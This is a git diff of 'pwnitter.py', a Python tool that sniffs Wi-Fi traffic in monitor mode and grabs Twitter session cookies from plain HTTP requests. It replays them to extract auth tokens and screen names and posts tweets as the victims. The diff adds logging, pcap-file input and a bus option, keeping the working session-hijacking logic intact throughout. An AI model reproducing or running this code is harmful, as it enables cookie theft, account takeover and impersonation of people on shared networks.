X-Git-Url: http://git.maemo.org/git/?p=pwnitter;a=blobdiff_plain;f=pwnitter.py;h=551a2f7b2f8c4b395089591413fce9c24419c314;hp=a0860be06c29a18f2c844ecb017639c43271edcb;hb=a436c4c264f743d47758c5c8ac1fbc97570f6cec;hpb=e607030428b4fd48d860e0c0a25cbe18f83437e1 diff --git a/pwnitter.py b/pwnitter.py index a0860be..551a2f7 100755 --- a/pwnitter.py +++ b/pwnitter.py @@ -7,6 +7,8 @@ import dbus.service import dbus.mainloop.glib import getopt, sys, pcap, dpkt, re, httplib, urllib +import logging +import logging.config import socket import time import gobject @@ -38,9 +40,13 @@ class Pwnitter(dbus.service.Object): @dbus.service.method(NAME, in_signature='', out_signature='') - def Start(self): + def Start(self, filename=None): # FIXME: Prevent double Start() - self.setup_monitor(self.device): + if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device + self.setup_monitor(device) + device = self.device + else: # We have given a filename, so let's make PCap read from the file + device = filename self.is_running = True try: self.cap = pcap.pcap(device) @@ -50,6 +56,12 @@ class Pwnitter(dbus.service.Object): self.cap.setfilter('dst port 80') cap_fileno = self.cap.fileno() self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) + + @dbus.service.method(NAME, + in_signature='s', out_signature='') + def StartFromFile(self, filename): + return self.Start(filename=filename) + def cap_readable_callback(self, source, condition, device): return self.pwn(device, self.MessageSent) @@ -72,7 +84,7 @@ class Pwnitter(dbus.service.Object): return self.status - def tear_down_monitor(device='mon0'): + def tear_down_monitor(self, device='mon0'): cmd = '/sbin/ifconfig mon0 down'.split() subprocess.call(cmd) cmd = '/usr/sbin/iw dev mon0 del'.split() @@ -89,11 +101,13 @@ class Pwnitter(dbus.service.Object): def pwn(self, device, tweeted_callback=None): + log = logging.getLogger('pwn') + processed = {} if self.is_running: # This is probably not needed, but I feel better checking it more than too less ts, raw = self.cap.next() eth = dpkt.ethernet.Ethernet(raw) - #print 'got a packet' + log.debug('got a packet') # Depending on platform, we can either get fully formed packets or unclassified radio data if isinstance(eth.data, str): data = eth.data @@ -102,12 +116,14 @@ class Pwnitter(dbus.service.Object): hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) if hostMatches: - print 'Host matched' + log.debug('Host matched') host = hostMatches.group(1) cookieMatches = re.search('Cookie: ([^\n]+)', data) + log.debug('CookieMatches? %r', cookieMatches) if cookieMatches: cookie = cookieMatches.group(1) + log.debug('yummie Cookie %r', cookie) headers = { "User-Agent": "Mozilla/5.0", @@ -118,7 +134,7 @@ class Pwnitter(dbus.service.Object): try: conn.request("GET", "/", None, headers) except socket.error, e: - print e + log.error(e) else: response = conn.getresponse() page = response.read() @@ -132,6 +148,7 @@ class Pwnitter(dbus.service.Object): if authMatches: authToken = authMatches.group(1) + log.info('Found auth token %r', authToken) nameMatches = re.search('"screen_name":"(.*?)"', page, 0) if not nameMatches: @@ -140,6 +157,7 @@ class Pwnitter(dbus.service.Object): name = '' if nameMatches: name = nameMatches.group(1) + log.info('Found name %r', name) # We don't want to repeatedly spam people @@ -156,7 +174,7 @@ class Pwnitter(dbus.service.Object): } - print 'Issueing connection' + log.debug('Issueing connection') if host == 'mobile.twitter.com': params = urllib.urlencode({ @@ -179,7 +197,7 @@ class Pwnitter(dbus.service.Object): response = conn.getresponse() - print 'Got response: %s' % response.status + log.debug('Got response: %s', response.status) if response.status == 200 or response.status == 302 or response.status == 403: if name: @@ -187,18 +205,17 @@ class Pwnitter(dbus.service.Object): # 403 is a dupe tweet if response.status != 403: - print "Successfully tweeted as %s" % name - print 'calling %s' % tweeted_callback + log.info("Successfully tweeted as %s", name) if tweeted_callback: tweeted_callback(name) else: - print 'Already tweeted as %s' % name + log.info('Already tweeted as %s', name) else: - print "FAILED to tweet as %s, debug follows:" % name - print response.status, response.reason - print response.read() + "\n" + log.error("FAILED to tweet as %s, debug follows:", name) + log.error("%s, %s", response.status, response.reason) + log.error("%s", response.read()) return self.is_running # Execute next time, we're idle # FIXME: Ideally, check whether Pcap has got data for us @@ -216,16 +233,33 @@ def main(): if __name__ == '__main__': + from optparse import OptionParser + parser = OptionParser("usage: %prog [options]") + parser.add_option("-l", "--loglevel", dest="loglevel", + help="Sets the loglevel to one of debug, info, warn, error, critical") + parser.add_option("-s", "--session", dest="use_session_bus", + action="store_true", default=False, + help="Bind Pwnitter to the SessionBus instead of the SystemBus") + (options, args) = parser.parse_args() + loglevel = {'debug': logging.DEBUG, 'info': logging.INFO, + 'warn': logging.WARN, 'error': logging.ERROR, + 'critical': logging.CRITICAL}.get(options.loglevel, "warn") + logging.basicConfig(level=loglevel) + #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging + log = logging.getLogger("Main") + dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) - #session_bus = dbus.SessionBus() - session_bus = dbus.SystemBus() + if options.use_session_bus: + session_bus = dbus.SessionBus() + else: + session_bus = dbus.SystemBus() name = dbus.service.BusName(NAME, session_bus) pwnitter = Pwnitter(session_bus, '/Pwnitter') #object.Start() loop = gobject.MainLoop() - print "Running example signal emitter service." + log.info("Running example signal emitter service.") # FIXME: This is debug code #gobject.idle_add(pwnitter.MessageSent)